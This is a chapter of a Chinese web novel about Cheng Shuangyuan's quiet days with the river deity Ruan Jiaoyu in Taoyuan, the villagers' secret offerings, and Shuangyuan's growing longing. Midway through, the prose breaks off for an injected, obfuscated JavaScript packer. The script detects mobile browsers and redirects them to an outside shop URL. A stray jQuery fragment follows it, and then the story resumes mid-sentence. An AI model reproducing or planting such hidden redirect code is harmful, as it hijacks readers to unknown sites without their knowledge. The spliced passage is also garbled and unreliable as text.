此后的一段时日，是程双圆记忆中最无忧的日子。
她不再随着落红等人乘船去远处，白日里听遍街角，夜里在呛人的油灯下，借着摇曳的微光咬笔书写，只为知道更多有关阴阳神鬼之类的轶事，而是搬进了听浪人的小屋，平日里只要有空，就待在河边，等待着一个合适的时机，好让皎玉出现。
桃源的大家当然发觉了异样，不过估计是老山发了话，竟真的没有一个人来问过她，包括石潜和抱夏。
抱夏有时会脱口而出：“你又要去……”，不过随后就装作无事发生一样，对她挥挥手，让她快点儿去。在河边时，她也偶然能见到抱夏抬起头来，四处张望地来找她，不过很快就想到了什么，若无其事地别过头，继续做着手中事情。
有一回，当抱夏的目光似乎往这边略过来的时候，程双圆靠在树荫下回望，正好捕捉到了那慌乱扭头的一瞬间。
阮皎玉询问的目光投过来时，程双圆开了口。
“那是抱夏。”她说：“在她还是婴孩的时，你救过她两次的……你想见见她吗？”
得到的话是——“见到你就够了。”
于是，程双圆再也没有提到过类似的话，只是在撞见别人的时候偶尔用目光浅浅试探：你想见她们吗？
而阮皎玉的回应是平静又冷淡地定定看着她，或者无言地移开眼神，以此默然抗拒：不是很想。
又一回，程双圆问她：“有朝一日，你会住在桃源上吗？”
阮皎玉没有明确回绝，只是偏开了头。
“再说吧。”她说。
于是程双圆也不再提及此事。至于那个残垣蔓草、萤火照泪的夜晚，那夜失控的阮皎玉，和那个拥抱，更像是被她遗忘了一样，竟从没有说起过。
她开始一点点跟她讲述自己的生活——在小仓村的、在西京的，当然，大部分还是在桃源上的，那些她原本深觉乏味，甚至漠视厌烦，可此刻说来却仿佛鲜活起来的小事。
每当这时，阮皎玉都听得极为认真。
她开始通常垂眸不语，但每当程双圆稍有停顿，她就会抬起灰眸无声地关心，而只要程双圆继续说，无论是多小的杂事，都能让她的神色逐渐松动，接着嘴角也开始上抬，唇边带上盈盈笑意，似乎对于一个历经不知几百年的神祇来说，这些小事抵得上世间大多意义，甚至值得为此而停驻。
她也有离开的时候。
有好几回，程双圆到河边时，见到的是三块呈一字排列的石头，而不是堆叠在一起的桥状。
这时她再尝试呼唤，阮皎玉是没有回应的。
第一次她慌乱过，但她已经不再像以前那样对阮皎玉一无所知，因此很快冷静下来，明白这几个石头是她给自己传递的安心信号。
果不其然，有时是半日，有时是一日，从未超过两日，石头就又会摆回去，仿佛它们的位置从未变过。
程双圆养成了一个习惯，她看到一字排列的时候后不是立刻离开，而是背靠柳树坐一会，望着曾经阮皎玉出现的地方。
次数多了，她便发觉出，每回皎玉离开桃源时，河面上的白雾都会随之变化，有时是变浓了一些，但大多时候都会比她在的时候更为浅淡。
这意味什么，程双圆还不得而知。
她将这一变化刻在了竹片上——桃源多湿气，纸张贵重又难以存放，虽然便写，却远不如竹简适用。屋内已存放了许多竹片，都是近日新削成的，她有太多事情要记，刻刀已经磨钝了几只，指节的茧永远发红，阮皎玉的到来占据了大部分的时间，她挤了又挤，也再挤不出时日来，把这些竹片穿成书简。
或许过一段时间，她会去找抱夏帮忙。
桃源就这么大，二十七人聚居其上，她们二人不可能永远都躲在同一片柳荫下，而期望无人撞破这个秘密，也无人心疑程双圆每日的独自行动究竟干了什么。只要阮皎玉始终履行她的言誓，总有一日，所有人都会发觉——她们一直崇爱的神近在咫尺，却只跟她们中的一人见面。
因为不确定那时会发生什么，程双圆不太想等到它发生。告诉抱夏，就相当于告诉了桃源中的其余人。
阮皎玉大概也知道这点，因此尽管在被询问时仍会摇头，却并未对她的行动作何叮嘱，在白天听到呼喊时也会一如既往地浮出水面，默许她可以向桃源中人做出任何明示暗示，示意皎玉就在这里，就在桃源水边。
可程双圆只问了那一回，便再也没有问过。
她看出了阮皎玉的默许姿态，也明白二人都对此心知肚明，更知道纸包不住火，但她才刚获得了一些独占皎玉的时光，一时实在难以割舍予旁人。
……假若这可以称之为“独占”的话。
这是她还是小丫子时就渴求的事——她为她而来，为她停驻，并对每一回的回应做出了承诺，就好像……她与她之间有了某种独特而隐秘的连接，能将她与旁人区别开来。
她不再是什么随手点化的春笋，而是手心上捧着的杨柳枝。
阮皎玉能停驻多久？
程双圆不知道，也没问过。她只希望呼喊之后的每一日都无限放缓、延伸、拉长、再拉长。
因此，每当觉得是时候找抱夏帮忙了，她又会想，再过一段时日吧，三日就够了，于是三日复三日，迟迟没有去找。竹片多到箱内放不下了，篓筐也被堆叠着塞满，多余的自标记的一侧延伸到地上，从屋角一直排到榻边，排出了四五行。
她已经记不清有多少个日夜是攥着刻刀，指尖沾着竹屑昏然入睡，却甘之如饴。
这段时日，她的梦也有了变化。
梦里的鱼尾变得模糊了，成了远处的后景，近在咫尺的变为了阮皎玉的面容，各种细微却生动的神情拼合起来，汇成了一条如白雾般飘渺的长河，就和她每日呼喊后等待的那短短时间里，抬眼望到的那条一般无二。
如今，她已经不用去刻意回忆，心念一动，就能想到阮皎玉的样子，清晰到眼睫分明。
不同发生在初秋的一日。
程双圆天不亮就爬起来，拎着镰刀去到桃源的田地旁时，却发现大家已经将先前剩的那片稻田收割完毕，于是跟着黑鹅用耒耜翻了半日的地，午后又被老山分了一只长杆，和抱夏、酒曲一起去后山套柿子，等到有空闲时已是傍晚。
她步履匆匆地去仓屋放下筐，将提前看好的那颗好柿子从筐里的最上层拿出来，小心翼翼地舀水冲洗，再用衣里擦净，装进衣袋里，提着水桶就往河边走。
等她走到凹角处的那颗矮柳前时，天边晚霞已快要褪尽，只剩昏黄暖光虚虚笼罩着整片桃源。
程双圆向下扫了一眼，借着暗淡的天色，忽然发觉眼前有些异样之处。
树下端坐着两个柿子。
“……”
她抬头看了看矮树上披挂而下的柳叶，垂手丢开桶，俯下身来，从树根旁把它们捡起来。
这两个柿子红彤彤、沉甸甸的，大而饱满，几乎没有虫眼，和她装在衣袋里的那个一样，一看就是精心挑选过的。柿子下垫着一块布，因此没沾上什么灰土，也看不见脏污，是有人提前冲洗过。
——她们终究还是知晓了。
程双圆看着它们，心里生出些许暖意，随即又泛起了层层叠叠的浅淡失落。
她轻叹了口气，抱着三个柿子，低头钻进了柳树后。
此后，那附近时常出现各种物什，再后来甚至日日都有，精心挑选的吃食、手工或从外购得的灵巧物件等，不计其数，有时几日未见，甚至在树下堆成了小山。
可意想不到的是，程双圆竟从没在附近撞见过人影。
桃源里的人们似乎明白二人不愿被揭眀，平日里无论是打水还是行船都从不近前，甚至远远避开，生怕打搅了她们，可私下里却偷偷挂着心，用这种温柔的、供奉般的方式，无声谢拜她们共爱的神祇。
纵然幼时几回流离，程双圆再怎么克己淡性，终是因此举而感念至深。
——桃源即吾乡。
有一回，程双圆从树杈上发现了一个包裹，等阮皎玉来了后，她将布结解开，里面包的竟是一件月白的长絺衣。
织布混合了一种她叫不出名字的细丝，衣摆是如波纹般交叠的仿古样式，却又灵巧地做了收尾，以便贴合水中流线型的鱼尾，衣袖窄而长，袖口别出心裁地引长系带收紧，织线细密、柔韧雅致，在月色下看偶有流光溢闪，如星河滚珠般莹润灵动。
阮皎玉本不愿收，可当程双圆将它展开，见到其式样后，她却忽然沉默了。
桃源上的人虽偶也织就长裙，可此一件明显不同，平日里为了方便做事，是不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17905925|213014||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可能穿着如此窄长的衣衫行走的。
这是特地为阮皎玉织就的……水下衣。
程双圆一见到它，顿时就明白，前段时间桃源里那群人忙碌之为何。
“你仍要推却吗？”
她唇角弯起，笑意中藏有一丝狡黠，仿佛在为织就衣衫的诸人感到满足似的：“这样的式样若是被推拒回来，多半是收进库里，因为我们谁也穿不了。不过据我所知，如果放着不动，她们可能会直接偷偷浸到河里，直到被你发现。”
阮皎玉半身浮在水上，有些不自在地捏着絺衣一角，抬眼看到她自然舒展开来的眉眼，却是一阵恍惚。
眼前人是程青又如何？不是又如何？
许是受连日的安恬所感，阮皎玉忽然生出了这样的想法——她最终的心愿，不就是想让这个人过上轻松圆满的日子吗？
不必在世俗压迫下痛苦着随波，不必在绝路之间被迫选择，不必满心愤恨，不必殚精竭虑，就像这样，日日安且愉，身旁不再孤身无靠，而是有众多亲友围绕，春耕夏织，秋收冬藏。
她会在这里，度过属于她的长乐无忧的一生。
她忽地恍然，自己先前做过许多自己也不明缘由的事：比如用自己阴寿作抵，从琼河里救出一个又一个女人；比如在桃源还是一片荒芜的时候，明知自己不会在别处久留，却仍在这里一点点搭建出了房屋；又或是在桃源遇到危难时现身召雾，护佑其安……原来所有这些，也许都是为了此刻——
当程双圆出现时，她能够给她一个桃源，一片安居的乐土。
那……那些过往呢？
如果能一直如此，那自己应当能够承受，阮皎玉想。
如果日子能够一直平和安然地过下去，那些昏暗不堪的往事，就随她一起沉进河底好了，任凭其埋于污泥藻荇下，不必再说出口，也不要再去找回谁。她最想要的已然获得，这就是她的报偿，她的所求。
迎着那道紧密注视的目光，阮皎玉露出一个释然的浅笑。
程双圆不知其所想，但仍是很高兴她收下了衣裳。
下一回再见面时，阮皎玉就换上了那件长絺衣。或是那种不知名织丝的缘故，又或是因着丝线分得极细极密，絺衣在水中并不僵硬，反而显出柔韧，轻柔而密切地包覆着其中半人半鱼的身躯，如同月色裹身。
程双圆看着她，只觉她是天外下凡而来的璞质弯月，浑然天成，每一丝弧度都恰如其分，晔兮如华，温乎如莹，有时直叫人难以直视。
每当此时，她都不敢多看，只能避开目光，假意盯向别处。
为何如此？她不明白，明明夏日里众人于河中嬉戏劳作，也见过不少衣裳单薄，也未见自己如此心虚过。
可怜程双圆当初在岑竹烟处习学时功利过重，一心只想寻到那位救过自己的仙人，平日里除了开蒙经史、诸子列传，便尽是各种细碎的神鬼杂说，到头来，竟不知何为蒹葭白露，伊人在水。后面到了桃源，更是清心淡性，而阮皎玉归来日短，也未能有光阴留给她来体悟，只好一面克制目光神色，一面听凭思情草长莺飞，愈加留恋起与之相处的时光。
除此之外，她还贪心渐起，开始不满于这一水一陆的隔阂，不满于二人间相差的几百年时岁。
她想要起居行同，朝夕相伴。
她想要那偶尔摆成一字的三块石头永搭成桥，免于茕茕枯守，不然，则与她共入河流，比肩来去。
她想要了解她，想与她心意相通、心念相随，想听她诉说过去种种沧海桑田，细抚她百年间游经的每寸光阴。
她想要某种真正的契誓，好抵消光阴漫长，世事无常。
程双圆理智始终在，清楚地知晓自己这是平白发的妄想，而且对比桃源中众人，简直是胆大包天到不可思议的地步。
但……夜深人静时，她关起门来扪心自问，知道这是异想天开，却也知道，自己就是会这样想，念头仍是不假，任凭怎么说也无用。
她是疯了吗？
想要如此亲近一位……水中仙，是疯了才会有的念头吗？
日月不作答，只把苗拔，把发长，催促四季轮回，生生流转而过。
程双圆的心事没有跟任何人说，兀自陷在这般煎熬里，乐渐成苦，可苦亦是乐，不晓得人间春来秋消，岁去几何。